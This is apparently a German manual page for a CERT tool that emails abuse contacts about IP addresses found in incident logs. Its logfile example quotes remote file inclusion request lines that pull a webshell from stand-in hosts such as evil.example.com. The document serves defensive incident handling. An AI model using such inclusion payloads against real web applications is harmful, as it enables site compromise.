# Tool addrlist_notify

[ Synopsis ] [ Description ] [ Logfile ] [ Template ] [ Options ] [ Bugs ] [ See also ] [ Author ]

# Tool: `addrlist_notify`

**Plattform:** Perl, sendmail oder kompatibel

Sendet E-Mail-Benachrichtigungen an die Abuse-Kontakte zu einer Liste von IP-Adressen.

Bei der Analyse eines Security Incidents ist es häufig der Fall, daß in Logfiles IP-Adressen zahlreicher beteiligter Rechner zu finden sind. Dieses Tool ist dafür gedacht, die zuständigen Abuse-Kontakte zu alarmieren.

Download: https://wiki.univie.ac.at/download/attachments/28089622/addrlist_notify-1.5.tar.gz?api=v2

## Synopsis

`addrlist_notify` [`-t`] [`-r`] [`-d`] *template logfile*

## Description

Liest ein *logfile* im Format: "IP-Adresse Zusatzinformation" ein, ruft zu jeder IP-Adresse die bei abusix.org gespeicherte Kontaktadresse ab, sendet an jeden Abuse-Kontakt eine E-Mail entsprechend dem Mail-*template*, wobei die gesammelten Zeilen aus *logfile* am Ende angefügt werden.

Der Mailversand erfolgt durch Übergabe der Mail an `/usr/sbin/sendmail -t`. Der switch `-t` zu sendmail (und plugin replacements wie z.B. postfix) bewirkt, daß die Recipient-Adressen dem Mailheader entnommen werden.

Dieses Perl-Script benötigt die CPAN-Module `Net::IP` und `Net::DNS`.

### Logfile

Das *logfile* ist ein ASCII-Textfile, in dem jede Zeile mit einer IPv4-Adresse als "dotted quad" beginnt (optionaler Space am Zeilenanfang wird ignoriert). Auf die IP-Adresse folgt optional, mit Whitespace (Blanks oder Tabs) getrennt, Zusatzinformation wie Timestamp (dringend emfpohlen), Query-Strings, Port-Nummern, etc.

Beispiel:

```
127.13.24.111 2011-04-01 18:36:04 UTC: /vulnerable.php?COLOR=http://evil.example.com/webshell.
txt?
127.204.2.133 2011-04-01 18:36:05 UTC: /oops.php?COLOR=http://rfi.example.com/urxn.txt?
127.68.133.99 2011-04-01 18:36:05 UTC: /oops.php?COLOR=http://rfi.example.com/urxn.txt?
127.42.42.242 2011-04-01 18:36:07 UTC: /vulnerable.php?COLOR=http://evil.example.com/webshell.
txt?
127.13.24.111 2011-04-01 18:36:09 UTC: /vulnerable.php?COLOR=http://evil.example.com/webshell.
txt?
```

### Template

Das *template* besteht aus einer E-Mail-Nachricht nach RFC 5322, jedoch ohne `To:`-Header. Der Platzhalter `%%addrs%%` in der Mail wird bei jeder Benachrichtigung durch die jeweilige(n) IP-Adresse(n), maximal 38 Zeichen, ersetzt.

An das *template* werden der Disclaimer von abusix.org und danach die Zeilen aus dem Logfile angefügt, für die der jeweilige Empfänger ein Abuse-Kontakt ist. Es ist nicht möglich, diese als Attachment anzufügen oder in der Mitte des Texts einzusetzen.

Beispiel:

```
From: security@unisowieso.ac.at
Subject: Remote file inclusion attacks from: %%addrs%%
Bcc: security@unisowieso.ac.at

Hello abuse/security team!

We noticed attacks against some PHP scripts on our servers conducted
by the ip addresses below. These machines may have been compromised.

Please investigate and act according to your policies.

Kind regards,

zerstr. Prof. Hubert Bimpelmayer
CISO University of Sowieso
```

### Options

**`-r`** generiere ein Report-File. Der Name besteht aus dem des *logfiles*, einem Timestamp und `.rpt`. Es enthält die Abuse-Kontakte, die zugehörigen Logzeilen und am Schluß eine Kopie der Mail, die an den ersten Abuse-Kontakt gesendet wurde.

**`-t`** test mode. Nachrichten werden an die `From:`-Adresse aus dem Template gesendet, der Abuse-Kontakt steht im Header `X-Test-To:`.

**`-d`** dry run. Es werden keine Nachrichten verschickt. Nur sinnvoll gemeinsam mit `-r`.

## Bugs

Es wird nur IPv4 unterstützt, da abusix.org keine Daten über IPv6-Adressen hat.

## See also

Project homepage:
https://wiki.univie.ac.at/display/CERT/Tool+addrlist_notify

Abusix Contact Database:
https://www.abusix.com/contactdb

## Author

ACOnet-CERT, Alexander Talos-Zens, <at@univie.ac.at>